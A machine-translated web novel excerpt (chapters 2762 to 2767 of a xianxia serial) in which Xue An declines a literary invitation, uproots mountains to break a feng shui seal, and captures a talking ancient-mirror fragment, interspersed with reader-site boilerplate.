    Thinking of this, Ren Ning took a peek at Xue An''s back.


    She didn''t know if her feelings for Xue An were love.


    It seems to be, and it does not seem to be.


    It seems to be because I am willing to look at him from a distance, even if I don''t do anything, just look at him quietly like this.


    It doesn''t seem to be, because she clearly knows that this cold-faced teenager in white actually has a beloved wife and two lovely daughters.


    No matter how much effort he puts in, it is impossible for him to occupy a place in his heart.


    She is very self-aware of this.


    Thinking of this, she couldn''t help sighing slightly, and then temporarily put these thoughts behind her.


    In any case, there is always a sense of security to follow him.


    Even for this sense of security, I can''t give up.


    Ren Ning secretly made up his mind.


    Seeing them leaving, Sheng Hongqian, Niu Dali and others immediately followed.


    But just as they were about to cross the threshold and leave the Wenhui Pavilion, a soft call came from behind.


    "Master Xue, please stay!"


    Xue An stopped and turned his head to look.


    Seeing Yun Lingxuan had already stepped forward.


    "What else is Miss Yun?" Xue An said lightly.


    Seeing Xue An''s light and windy appearance, Yun Lingxuan gritted her silver teeth secretly, but the expression on her face has not changed at all. She smiled and said, "Master Xue, can you take a step to speak?"


    Xue An took a deep look at Yun Lingxuan, and finally nodded noncommittal.


    "good!"


    He walked into the corner as he said.


    Yun Lingxuan followed, her heart was mixed, she didn''t know what it was like.


    She just thought that Xue An was trying to catch it.


    She sees many such tricks, it is nothing more than attracting her own attention.


    So she was able to calm down, no matter how anxious the group urged, she did not end.


    But he never expected that after Xue An slashed the chaos and ended the matter, he actually took a step and left.


    At this moment, Yun Lingxuan was really anxious, and then shouted to Xue An, and then hurried to catch up.


    Xue An came to the corner and stopped, "What do you think of Miss Yun?"


    Yun Lingxuan took a deep breath, "Master Xue, where is this going?"


    "Naturally go to Longhu Village!"


    "What about after going to Longhu Village?"


    Xue An raised his eyebrows slightly, "This...I haven''t thought about it yet!"


    Yun Lingxuan looked solemnly, "Master Xue, your literary talent is really the only thing I have seen in my life. You can produce ten excellent works in a short period of time, which shows your talent, so I sincerely invite you to join the Qisi Poetry Club. The general essay meeting!"


    "General Wenhui?"


    "That''s right! This general literary meeting is the largest literary meeting of the Qisi Poetry Society, and it is also the premier gathering of the entire spiritual realm. At that time, talents from all fields will participate!" Yun Lingxuan solemnly said.


    It is strange that she did not see the slightest excitement on Xue An''s face, instead she was full of boredom, and then shook her head.


    "No need!"


    Yun Lingxuan was taken aback, almost thinking that she had heard it wrong, "What?"


    "I said I don''t have to go!"


    "Why?" Yun Lingxuan asked in surprise.


    "Not why, just not interested!" Xue An said lightly.


    Not interested in?


    What the **** is this?


    Yun Lingxuan couldn''t help laughing or crying, thinking that Xue An couldn''t help but speak seriously without understanding the importance of this literary meeting.


    "Xue Gongzi, you may not understand the importance of this literary meeting. If you can make a name for yourself at this literary meeting, then you will truly become famous in the world!"


    But Xue An remained unmoved, "Thank you, but I''m still not interested! If Miss Yun is only for this matter, then I will go!"


    After all, Xue An was ready to leave.


    Yun Lingxuan has never been treated this way, especially by men.


    Since she became famous, no man she has ever met is respectful to herself.


    Even the extremely arrogant Xu Gaotian before took the risk because he was full of greed for himself.


    Only Xue An''s performance made Yun Lingxuan feel incomprehensible.


    It is a kind of head-up without any desire, even a little disdain.


    This caused Yun Lingxuan''s heart to surge in anger for no reason, and couldn''t help but shout at Xue An''s back.


    "Does Young Master Xue plan to bury his stunning talent?"


    Xue An stopped, then turned his head and smiled at Yun Lingxuan.


    "Sorry, I forgot to tell you something, I copied all those poems!"


    Yun Lingxuan opened her eyes wide, "copied?"


    "Yes!"


    "Which book did you copy from?"


    "Three Hundred Tang Poems!"


    "Three Hundred Tang Poems?"


    Yun Lingxuan whispered in despair, and then she fell into a daze.


    Seeing this, Xue An couldn''t help laughing, and then strode away.


    Seeing his unrestrained back, Tuan''s mouth narrowed, full of grievances.


    Why don''t you know how to say hello before you leave!


    Not mentioning the sour little maid, Tang Zheng walked to Yun Lingxuan''s side and said softly.


    "How about it?"


    Yun Lingxuan suddenly returned to her senses, but did not answer Tang Zheng''s words. Instead, she asked, "Do you know the three hundred Tang poems?"


    "Three hundred Tang poems?" Tang Zhengyi frowned, "I haven''t written three hundred poems, nor have I ever published a collection of poems? What''s wrong?"


    Yun Lingxuan shook her head, UU reading www. uukanshu.com "It''s okay! He refused!"


    "Reject?" Tang Zheng was quite surprised.


    "Yeah! I don''t understand why he refused, and even said that his poems were copied. Isn''t this an obvious self-defilement?"


    Tang Zheng stayed silent for a long time, and finally shook his head, "I can''t guess it, but this young master Xue is indeed a dragon and phoenix, and even the Wensheng tablet actively blessed him and even followed him. This is really unheard of. !"


    Yun Lingxuan turned her head and glanced at Tang Zheng, "Speaking of which, how do you plan to explain the tablet position to the agency?"


    Tang Zheng smiled bitterly, "How can I explain it? Naturally, to be honest, I have already lost 30% of my cultivation base because of a ray of selfishness. If I conceal it again, it is estimated that even the remaining 70% of my cultivation base will be difficult to preserve! "


    Speaking of this, he let out a long sigh.


    "When I saw this young master Xue today, I knew that there is indeed a genius in the world. It is ridiculous that I have always regarded myself as a great scholar. It is really arrogant. After I return, I will punish myself and think about it in retreat on the cliff!"


    After that, he bowed his hand to Yun Lingxuan.


    "Miss Yun, goodbye!"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click on "Favorites" below to record the reading record of this time (Chapter 2762 Ren Ninger), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2763： Different road non-phase plan

    You can search for "Invincible, starting from the new book Haige novel ( in Baidu to find the latest chapter!


    Tang Zheng is gone!


    Yun Lingxuan stood silently, not knowing what she was thinking.


    Tuan''er stood behind her a few times trying to talk, but swallowed when the words reached his lips.


    After a while, Yun Lingxuan lowered her eyes and said lightly: "Let''s go!"


    After that, she turned around and left.


    Tuaner hurriedly followed, "Miss, where are we going?"


    "Back to the middle domain!"


    "What? Go to Zhongyu?"


    "if not?"


    "But Master Xue''s side..." Tuaner summoned up the courage to say.


    Yun Lingxuan stopped, "I know what you want to say, but I have invited Master Xue once, but he doesn''t plan to go, what can I do?"


    "But miss..." Tuan''er became more and more anxious, "Master Xue is the one who made you cut off, so I don''t need to talk about what this means!"


    "So what? The different ways are not conspiring, since he doesn''t want to go to the Central Region to participate in this general essay meeting, I can''t force it on him!" Yun Lingxuan said lightly.


    What else does Tuaner want to say.


    Yun Lingxuan waved her hand, "Needless to say, I have decided, let''s go!"


    Tuan''er closed his mouth and dared not say any more.


    Because she knew Yun Lingxuan''s temper very well, once she made a decision, it would be difficult to change it.


    She could only secretly turn her head to look in the direction of Xue An''s departure, sighed in her heart, and then left with Yun Lingxuan.


    At the same time, outside Ling''an City, Zhuo Ben was solemnly bowing his hands.


    "Master Xue, on behalf of the general public in Ling''an Region, I am grateful to you for your righteous action to eradicate the villains!"


    Xue An smiled swiftly, "Thank you, you don''t have to, just ask me to drink a glass of water and wine when you and Miss Qi are overjoyed!"


    Qie Weilan''s face flushed immediately, and she lowered her head and rubbed the corners of her clothes. The shy girlish style made the women in Wanhualou who also came to see him a little dumbfounded.


    "When is Miss Qie so shy?" someone whispered softly.


    After all, in the past, Wei Weilan in Wanhua Tower has always been known for his uninhibited and chivalrous spirit.


    The contrast with today''s performance is a bit big.


    "This should be the magic of love!" The girl next to her named Qian''er exclaimed.


    At the same time Zhuo Benzheng laughed, "This is easy to say, it won''t work if Master Xue doesn''t come!"


    Xue An nodded with a smile, "If this is the case, then see you again!"


    Zhuo Benzheng and Wu Zizhang, Han Bochao, and Yao Yachao all hand in hand.


    "Goodbye!"


    When the words fell, Xue An waved his hand, and Sheng Hongqian, Niu Dali and the others, who were waiting not far away, wrapped them up and flew straight to the sky, and disappeared into the sight of Zhuo Benzheng and others in the blink of an eye.


    Zhuo Benzheng couldn''t help sighing, "Shenai Qishi Gaoren!"


    "Yes! When I saw this son of Xue today, I never knew what a dragon and a phoenix in a human are!" Wu Zizhang also exclaimed.


    ����.


    Longhushan is about hundreds of thousands of miles away from Ling''an City in a straight line. In the past, Sheng Hongqian, Niu Dali and others needed several days to go back and forth once.


    But today, under Xue An''s coercion, they returned to Longhu Mountain in just an hour.


    This terrifying speed also made Niu Dali and others silent, and they dare not even think of disobedience in their hearts.


    Only Sheng Hongqian''s eyes were getting brighter, and the look in Xue An''s eyes seemed to melt.


    It''s a pity that all of her diligence has been useless. Xue An didn''t even look at her at all. After returning to Longhu Village, he didn''t stay for a while, and directly brought them and his party to the back mountain.


    This Longhu Mountain is a situation where two mountains are dependent on each other, so it was named Longhu Mountain.


    But besides that, there are not many surprises here, even this back mountain is the same, except for the trees, there are weeds and waste stones everywhere.


    "Are you sure you are the fragment of the ancient mirror that you found here?" Xue An asked with a frown.


    Sheng Hongqian nodded, "Although I don''t remember the exact location, it is definitely in this area!"


    Xue An did not say a word, but wandered among the weeds and barren woods.


    No one dared to speak, and people looked at Xue An quietly, for fear of disturbing his thoughts.


    After a long time, Xue An walked back to the original place.


    "How about you, do you find anything?" Sheng Hongqian asked very diligently.


    Xue An shook his head, "Strange, I just probed the surroundings by various means, but I didn''t find any surprises!"


    "But my lord, I did find this piece of ancient mirror from this area!" Sheng Hongqian said nervously.


    "I didn''t doubt what you meant, I just don''t understand why this thing appeared in this place, or maybe I didn''t notice it in some places!"


    With that, Xue An fell into contemplation again, and only suddenly raised his head after a long time.


    "Well, you should go back to the cottage first, I want to walk around again to see if something is missing!"


    Although Sheng Hongqian repeatedly stated that he could stay with Xue An, but Xue An did not hesitate to refuse, and finally reluctantly followed Niu Dali Zhang Xiaoqiang and others back to the cottage.


    Ren Ning was the only one left beside Xue An for a while.


    At this time, she had already walked out of the previous storm, and after experiencing this incident with the hand-blade beast father, her personality had also changed a lot, at least not as timid and introverted as before.


    But even so, she still refused to leave Xue An half a step, and followed Xue An step by step through the dense mountain forest.


    After a long time, the two of them climbed up a small hill, where the field of vision is slightly wider, but you can look at it, except for the trees, and the green is so desperately prosperousXue An frowns bitterly. think.


    Ren Ning stood quietly behind him to accompany her.


    After a long time, Xue An sighed, "Is it true that I guessed wrong, that ancient mirror fragment was just accidentally left here by some power?"


    Xue An muttered to herself, Ren Ning also didn''t understand, but she was very distressed by Xue An''s current appearance, and she couldn''t help but whispered in comfort.


    "Actually, you don��t have to put so much pressure on yourself. My mother taught me that if you can��t find something when you are looking for something, then let go of your mind and stop looking. This is often the case within a few days. I have appeared!"


    This is the limit Ren Ning can do.


    Don��t look at her being able to write so many blushing and heart-pounding words when she is writing this novel, but in real life she is actually a very boring person, often immersed in her own fantasy and can��t extricate herself. I don''t understand the world at all.


    Xue An naturally understood this and couldn''t help but smile at her.


    "It makes sense, maybe I was too anxious!"


    Seeing the effect of her own comfort, Ren Ning couldn''t help but smile happily.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 2763 is different and not conspiring), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2764： Reach out to the world

    You can search for "Invincible, starting from the new book Haige novel ( in Baidu to find the latest chapter!


    "Yeah, and my mother also said that if you really can''t figure out a thing, it''s better to jump out and see it, it will often get miraculous effects!"


    As soon as he said this, Xue An, who was smiling and groaning, shook his whole body slightly, as if waking up from a dream, and whispered softly in his mouth.


    "Yeah, why didn''t I expect it? I''m really a fan of the authorities!"


    Ren Ning on the side didn''t hear too well, so she couldn''t help asking in a low voice, "What did you say?"


    A smile bloomed on Xue An''s face, "It''s nothing, I think your mother is really a strange woman!"


    After all, Xue An raised his hand to carry Ren Ning and flew into the sky together.


    really.


    After looking down from the sky, the messy situation suddenly became clear.


    However, there are countless hills densely packed on this land of tens of thousands of miles, Longhu Mountain stands in the center, and the geographical position is unique.


    But it is a pity that because the surrounding hills are too messy, the geomantic omen here is broken and there is no unified situation. In the terminology of geomantic omen, the dragon''s power is not yet successful.


    Otherwise, these endless mountains alone can create a blessed world.


    But this is only the opinion of the general earth teacher, what kind of character Xue An is, although he did not specialize in Feng Shui.


    But when your cultivation reaches a certain level, many things can be understood by analogy.


    In particular, Xue An''s spiritual consciousness is so strong that it can be said to be the only one in the world. In this case, he can even accurately sense the aura fluctuations around him.


    So he was keenly aware of a looming dark line in this chaotic Feng Shui situation.


    The direction that the dark line ultimately points to is the back mountain of Longhu Mountain.


    A faint smile appeared at the corner of Xue An''s mouth.


    If you guessed it correctly, it should be here!


    Thinking of this, he whispered to Ren Ning behind him: "You stand here and don''t move!"


    "What are you going to do?" Ren Ning asked in confusion.


    "I''m going to move a few mountains to play!"


    Having said that, Xue An suddenly disappeared in place, and when he appeared again, he had already arrived in front of a hill.


    There is nothing surprising about this hill, and it is even more inconspicuous among the vast mountains.


    This is why Xue An didn''t see the clues before.


    It is hidden too deeply.


    But when the clues were found, Xue An''s actions were really resolute.


    Before and after coming to this hill, I saw him circle the hill a few times, and then smiled coldly.


    "It''s really a good method, it''s me that is the fault. If you are another person, you may really not find the clue!"


    After that, he raised his eyes slightly, and a huge face suddenly appeared behind Xue An.


    Unlike the Xingtian method that was revealed in previous battles, the method that appeared this time was the same as Xue An, except that the upper body was naked, revealing the creepy tattoo design.


    Xue An''s Faxiang stretched out his hand to hold the middle of the hill, and gave a sharp sigh.


    "rise!"


    Rumble!


    Accompanied by the sound of shaking and cracking, this hill was uprooted by Xue An.


    Ren Ning in the sky watching this scene was stunned.


    At this moment, only the vigorous picture of Xue Anli pulling up the hill was left in her head.


    However, a question immediately rose in her heart.


    What is he going to do?


    Why did you pull up a hill suddenly?


    As if to answer the question in her heart, she heard a bang. In the big hole left after the hill was pulled out, a brilliance soared to the sky, shaking the star, and then hanging down, sprinkling tens of thousands in this area. In the mountains.


    It seemed to be an illusion, Ren Ning felt that the surrounding environment had become much more beautiful than before.


    At least those weeds and evil trees have become a lot softer and amiable after the baptism of these brilliance.


    At the same time, Xue An didn''t stay at all. He threw away the hills in his hand, rumbling down several hills and valleys, and then soared into the sky again, appearing in front of another mountain.


    This mountain is much more sinister than the previous hill, but Xue An didn''t even hesitate. He still held the middle of the mountain as before and slammed hard.


    "rise!"


    Huh boom boom!


    There was a loud breaking noise from the ground, as if countless stone roots on this mountain were being torn apart, and then the mountain rose inch by inch.


    Niu Dali Zhang Xiaoqiang and others saw this scene truly, and they were all frightened.


    Knowing that they just returned to Longhu Village, they heard the loud noise from outside before they were sitting on their hips, and even the whole Longhu Village began to tremble.


    "God, there was an earthquake?" The fifth yelled.


    The sixth is even more pale, "I guess so, run quickly!"


    On the contrary, Sheng Hongqian was more calm, and immediately stopped everyone panicked like hot pot ants.


    "Don''t panic, this movement...seems to come from the back mountain!"


    "Sanmei, you mean...Sir Xue?" Niu Dali trembling all over, asked hurriedly.


    "It should be him, otherwise there won''t be such a big movement!"


    "But is this possible? You know, Mr. Xue just now couldn''t do anything about it, and progress has been made so soon?" Zhang Xiaoqiang was a little unbelievable.


    "Is it possible to go and see if you don''t know?" Sheng Hongqian said cheerfully.


    In fact, she didn''t want to come back just now, but Xue An had been showing no words to herself, so she had no choice but to return.


    Seeing that things suddenly changed, she naturally wanted to see what happened.


    So she dragged a bunch of people to the back mountain, but actually didn''t have to get close, as long as she flew over the mountain peak, she could see the domineering Dharma in the distance. UU reading www. uukahnshu.com


    And it happened to see the scene where Xue An grabbed the mountain and pulled it out abruptly.


    "Oh my God! I have seen a lot of such tricks like Fa Tian Xiang Di, and I have never seen such a vigorous one!" Niu Dali slapped his tongue.


    Sheng Hongqian did not speak, because she had been dazzled by the extreme power.


    There was only one sentence in her mind at this moment.


    This is the **** man!


    Compared with Xue An, Sheng Hongqian felt that the men she had seen before were simply scumbags.


    Not only does he look good, he is also so powerful.


    Where does this make sense?


    Sheng Hongqian licked her lips, almost drooling.


    And just at this moment, another brilliance rushed out of the big hole after the mountain peak was pulled out.


    This time the whole mountains began to tremble, and then the brilliance exploded like fireworks in the sky, and fell down again, sprinkling the mountains and forests.


    Even the dull people can clearly feel the changes in the aura around them.


    "Look at it!" The sixth child suddenly stretched his finger to Longhu Mountain in the distance.


    At this moment, the Dragon Tiger Mountain is becoming more and more majestic and tall, and at the same time it begins to be surrounded by aura, faintly blessed.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2764), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2765： Feng Shui Chaos

    You can search for "Invincible, starting from the new book Haige novel ( in Baidu to find the latest chapter!


    "Fuck... What the **** is going on?" Niu Dali said in amazement.


    "He is sorting out this feng shui chaos!" Sheng Hongqian said solemnly.


    "To sort out the feng shui chaos?" Niu Dali didn''t understand.


    "Yes, the Feng Shui situation in this mountainous area where we are located can be described as messy, so we have not seen any improvement in Longhu Mountain for so many years. And now this son of Xue is obviously reshaping the Feng Shui here."


    But even if she explained this way, Niu Dali, Zhang Xiaoqiang and others were still confused.


    "All in all, it''s pretty awesome and it''s over!" Sheng Hongqian made a final summary.


    Niu Dali and the others just came to a sudden.


    "Don''t you end up saying that?"


    "Yes, who doesn''t know that Young Master Xue is amazing!"


    These people agreed, and at this moment, the earth trembled violently, and Xue An pulled out a mountain again.


    The aura that has been backlogged for countless years soars into the sky and turns into a rain of rain, nourishing the entire world!


    The look on Niu Dali and others'' faces grew in awe.


    As for Sheng Hongqian, the admiration in her eyes was about to overflow, and she looked at Xue An almost intoxicated as if the gods descended.


    Such a man is undoubtedly the strong, if he can follow him, even if he is willing to post it upside down.


    She was thinking wildly in her mind.


    Xue An has come before the last mountain.


    This mountain is much taller than the previous ones, and even if Xue An uses his magic, he can still only reach its waist.


    Xue An raised his head and stared at the towering peak, a cold color flashed in his eyes.


    Along the way, he has figured out the reason for this Feng Shui bureau.


    In fact, Sheng Hongqian is right. Xue An is indeed sorting out this feng shui chaos, but he is not simply reshaping, but recovering.


    Because this feng shui chaos was obviously something someone deliberately caused, the peaks that Xue An pulled out along the way were actually like nails, deeply nailed to the dragon veins in the ground.


    This is the case when the so-called sleepy dragon cannot be obtained.


    If it hadn''t happened to meet Xue An, who had the best eyesight and strength, this feng shui chaos might have been buried forever like this.


    Only Xue Anfang can find the most critical nodes from this chaotic situation, and then remove them.


    And the mountain in front of him is obviously the most critical node.


    Thinking of this, Xue An sneered and urged Faxiang to step forward. He opened his arms and hugged the middle of the mountain with a sudden force.


    Click!


    There was a loud breaking noise from the peak.


    Niu Dali and others who were watching from a distance all showed horror.


    Because this scene is just like the ancient giant shaking the stars, full of unspeakable beauty of power.


    "what!"


    Sheng Hongqian suddenly blushed and let out a low cry, and then staggered against a big tree next to her.


    The fifth is unknown, so, "Sister, what''s wrong with you?"


    "I''m fine!"


    "It''s okay, why do you blush so much?"


    "Oh, are you annoying, get out of here!"


    Sheng Hongqian yelled, and the fifth child shrank his neck as he was scolded, and hurriedly hid away from a distance, not daring to speak any more.


    But even so, there is still a doubt in his heart.


    What''s wrong with Sanjie?


    How come my face was so red before, and I was still very weak, and I was annoyed after asking a few words, it is really strange!


    Not mentioning the fifth child who was full of grievances, Sheng Hongqian stared blankly at Xue An who was pulling up the mountain in the distance.


    At this time, Xue An was naked. Although it was a portrait of the law, when he went up the mountain, there were still beautiful muscle lines on his back, and the tattoos that set off were even more hideous and mysterious.


    Sheng Hongqian bit her lower lip lightly, only a thought remained in her mind.


    I want to be his woman!


    No matter what the price is, I will be his woman!


    This Sheng Hongqian is guilty of a nympho.


    At this moment, Xue An exhaled abruptly, shouting loudly, "Give me... Open!"


    Boom boom boom!


    A rumbling from the ground shook the fields, and then the towering mountain was pulled down by Xue An abruptly.


    In an instant, the earth quaked, and the sky was full of brilliance.


    Immediately afterwards, the whole mountain area has undergone astounding changes.


    The weeds and chaotic trees withered instantly, replaced by Chilan Yushu, strange flowers and weeds.


    Even the rocky hills have undergone tremendous changes at this time.


    Thousands of waterfalls, filled with aura, turned the poor mountains and rivers into a beautiful place.


    But the biggest change is Longhu Mountain, which is located in the middle of this mountainous area.


    I saw that the already lofty and tall mountain once again advanced to the sky, and at the same time there were countless auras surrounding the mountain.


    In the blink of an eye, the otherwise unremarkable Longhu Mountain became a blessed place.


    Niu Dali and the others almost stared out.


    "This...Is this still our Longhu Village?" Niu Dali said in a confused tone.


    As soon as the voice fell, I saw a brilliance rising from the back mountain of Longhu Village, and dashing towards the sky.


    Seeing this scene, Xue An couldn''t help but sneered.


    "Want to run? Do you think you can run in front of me!"


    Before the words are finished, people have come to this brilliance.


    But this Guanghua seemed to have self-consciousness. When Xue An appeared in front of it, it turned around and flew straight in the other direction.


    The whole process is fast to the peak, but it is fast, and Xue An is faster.


    After a while, Xue An appeared on its side like a ghost, and then reached out to grab it.


    This is almost a firm grasp, because whether it is the timing or the angle of the shot, Xue An is very clever to the pinnacle.


    Even if this Guanghua really possesses self-awareness, it cannot escape this blow.


    But surprisingly, Xue An''s catch actually fell through.


    At the moment when Xue An''s palm was about to touch the brilliance, the brilliance suddenly disappeared, and when it reappeared, it was already about ten centimeters away.


    But it was this insignificant ten centimeters that made it escape Xue An''s control directly, and once again fled far away at an extremely fast speed.


    But this unexpected move only caused Xue An''s eyebrows to rise, and then saw him sneer.


    "I said, trying to escape in front of me is purely idiotic dreams!"


    When the words fell, Xue An clenched his palms into fists and punched in the empty space.


    boom!


    The power of a punch, a huge shock in space, and the waves that have made this Guanghua who wanted to speed up and flee to lose the point of borrowing, and the speed of advancement can not help but stagnate.


    But this was just the beginning, and I saw Xue An just punched out, and another punch came again, and it hit the spot where the previous punch hit.


    When the two forces are superimposed, the damage caused is exponentially increased.


    Even in this so-called high-dimensional universe, even if the space here is far stronger than the heavens, the result is still cracked.


    Invincible, the newest chapter address starts from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s daddy txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this (Chapter 2765 Feng Shui Chaos Begins and Ends), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2766： Have something to say

    You can search for "Invincible, starting from the new book Haige novel ( in Baidu to find the latest chapter!


    And what Xue An was waiting for was this moment, he turned his fist into his palm, and slammed into the crack in the space in front of him.


    Bang!


    The space was finally overwhelmed and shattered like a mirror.


    Xue An''s hand penetrated into the depths of the space, and then jerked towards him.


    The space was pulled over by Xue An abruptly like a carpet.


    At this moment, the world with a radius of tens of meters has shifted.


    How to describe this scene!


    Imagine that the space is a huge plastic film, and the two punches that Xue An just made are like piercing a hole in the film.


    When he went in and pulled it to his side, the space film within a radius of tens of meters was disturbed and then shifted.


    You know, space is not simply just a layer of film, it also carries many things on it.


    So when it shifts, even the light of this world tens of meters in radius is deflected.


    From the perspective of an onlooker, it is as if the world in this space has been distorted.


    But this is not the main thing. The main thing is that when this space shifts, it is immediately separated from the surrounding space.


    In an instant, the extremely sharp spatial blade cut off all the retreats of this Guanghua and trapped it in it.


    But even so, this Guanghua still didn''t give up, but rushed from left to right, doing the final struggle like a fish caught in the net.


    Xue An just said indifferently: "No more honest, believe it or not, I broke this space with one blow, and let you follow it to pieces?"


    This sentence is more useful than any panacea, this brilliance immediately calmed down, and then quietly suspended in the air, without any movement.


    Xue An sneered, "What? You don''t run away now but you want to play with me deeply?"


    This brilliance is still the same, but the brilliance on the body is indeterminate, as if a person is breathing.


    Xue An didn''t talk nonsense anymore, controlled the space with one hand, raised the other hand, and slammed it down with a fist.


    "Don''t don''t! Say well if you have something to say, if you have something to say!"


    This Guanghua immediately acknowledged the counsel and let out a horrified cry.


    Xue An''s fist could be stopped before this space, staring coldly at the brilliance in front of him.


    "Should I disguise before talking to me?"


    "Okay! You are such a difficult offspring!" There was a sigh from the brilliance, and then the brilliance dissipated, and a huge fragment of the ancient mirror appeared.


    Xue An seemed to have expected this for a long time, and he didn''t have any surprises. He just said coldly: "How good is the cooperation like this, and it will save you from suffering from these flesh and blood!"


    With that, Xue An loosened his clenched fists.


    But a sigh came from this fragment of the ancient mirror.


    "I really didn''t expect that the first Chinese descendant I met after so many years would be so stubborn and arrogant. Don''t you know that you respect the old and love the young?"


    When talking about the four words of Chinese descendants, the voice deliberately increased the tone, as if to remind Xue An something.


    Xue An might be surprised if the word Chinese came out of other people''s mouths.


    But from the fragments of the ancient mirror, Xue An''s face did not show any surprise, and even sneered.


    "You don''t want to lean on the old in front of me and sell the old. You used a piece of debris to lure me to come and unlock the seal for you, but after the event is over, you want to escape here without even saying hello. Why don''t you say that?"


    Facing Xue An��s questioning, this piece of ancient mirror was obviously guilty but he insisted.


    "Nonsense, I didn''t try to escape!"


    "Oh? What were you doing just now?" Xue An said lightly.


    The fragment of the ancient mirror was silent again.


    Xue An was not in a hurry, so he watched it in his spare time.


    After a long time, a wry smile came from the fragments of the ancient mirror.


    "Strange, don''t you wonder why I know the Chinese?"


    "What''s so strange about this. You have other fragments that are originally belonging to the Chinese nationality. It''s not strange to know these, and..."


    A meaningful smile appeared on Xue An''s face, "I guess you can only remember some vague outlines. Are other memories lost with the fragments?"


    In fact, after Xue An saw the fragment of the ancient mirror in Yun Lingxuan''s hand, he felt the breath of the Chinese from it.


    Later, he traced it all the way to this point and found that after the Feng Shui chaos was suppressed here, it confirmed Xue An''s previous thoughts.


    Because apart from the Chinese, few ethnic groups can delve into Feng Shui mystery to this level and use them in a superb way.


    The appearance of this ancient mirror fragment also surprised Xue An with a slight disappointment.


    Because he thought that what was buried here were all the remaining ancient mirrors, but he didn''t expect that it was still just an incomplete body.


    And if you talk about power and lethality, even though the area of ??this ancient mirror fragment is much larger than the one in Yun Lingxuan''s hand, it''s still a lot worse.


    Of course, these thoughts just flashed in Xue An''s mind, and they didn''t show up on the surface.


    But his words gave this piece of ancient mirror a great shock.


    "you you��."


    It''s been a long time since you didn''t say why.


    "How do I know?" Xue Anhao asked in a leisurely manner.


    "It''s very simple. The secrets about the Chinese that I have known along the way are far from what you can imagine. Not only do I know that you are an ancient mirror passed down by the Chinese, but I even know where the other fragment is!"


    "where?"


    This topic successfully attracted the attention of this piece of ancient mirror fragment.


    Xue An didn''t hide it either. He waved his hand directly, and a scene transformed by divine thought appeared in front of this ancient mirror fragment.


    After seeing the fragment in Yun Lingxuan''s hand, the fragment of the ancient mirror almost came out of water.


    "Yes, it is the fragments that were lost that year. It seems to be from the part in charge of the battle! Tsk tsk!"


    "Want?" Xue An dismissed these scenes, UU reading said in a calm tone.


    "certainly!"


    "Well, then you tell me first, why did you appear here, and who sealed you?"


    A wry smile came from this fragment of the ancient mirror, "I would like to ask someone to ask you these two questions. Actually, from the moment I became aware, I have been sealed in this ghost place. As for who I don��t even know the one who sealed me!"


    Xue An was not surprised by this answer.


    This fragment of the ancient mirror was obviously born after the day after tomorrow, not the original conscious of the ancient mirror.


    Even the memories it possesses are incomplete, and naturally it cannot be expected to provide any clues.


    The reason why Xue An asked such a question was actually to blow the confidence of this piece of ancient mirror fragment.


    He will surrender to it.


    So after it was finished, Xue An said lightly: "Since you don''t know anything, what''s the use of keeping you? Let''s just break you down!"


    With that, Xue Anyang was about to fight again.


    This fragment of the ancient mirror was really scared.


    "Don''t fight, don''t fight, speak well if you have something to say!"


    Xue An stopped his fist, "What do you want to say?"


    Invincible, the newest chapter address starts from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s daddy txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2766 has something to say), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2767： Lingtai Kongming

    You can search for "Invincible, starting from the new book Haige novel ( in Baidu to find the latest chapter!


    "Although I don''t know the answers to these two questions you asked, I am not useless!"


    "Oh? What use are you doing then?"


    "This..." The fragment of the ancient mirror hesitated slightly.


    But when it saw that Xue An''s fist was accumulating strength again, it couldn''t help but hurriedly said.


    "I said I said, although I don''t have any fighting ability, I have a special ability that is to detect all kinds of treasures."


    Xue An''s heart moved slightly when he heard the words, but on the surface he didn''t change his expression, just said indifferently: "Detecting treasures?"


    "Yes!"


    "How is the detection method?"


    "It''s very simple, as long as there are treasures within ten miles of me, no matter whether it is in the sky or underground, even if it is blocked by layers of arrays, it will not escape my detection." The ancient mirror fragment said quite proudly.


    But its pride was soon crushed by Xue An.


    Seeing Xue An smiled disdainfully, "Shili? Are you funny? What can you do with such a short detection range?"


    The fragment of the ancient mirror was hit, but the situation was stronger than that of people, and it could only bite the bullet and explain it weakly.


    "Ten li is really not too short. You must know that I am now an incomplete and incomplete body. If I can find other fragments to merge into one, my ability can continue to increase!"


    Xue An was noncommittal.


    In fact, he knows how unreasonable this ability is.


    Not to mention ten miles, even one mile can be called abnormal.


    After all, this is a omni-directional detection without dead ends!


    Bringing it is like bringing a treasure-detecting radar.


    The key to this ancient mirror fragment is correct. If other fragments can be found, its ability will definitely continue to increase.


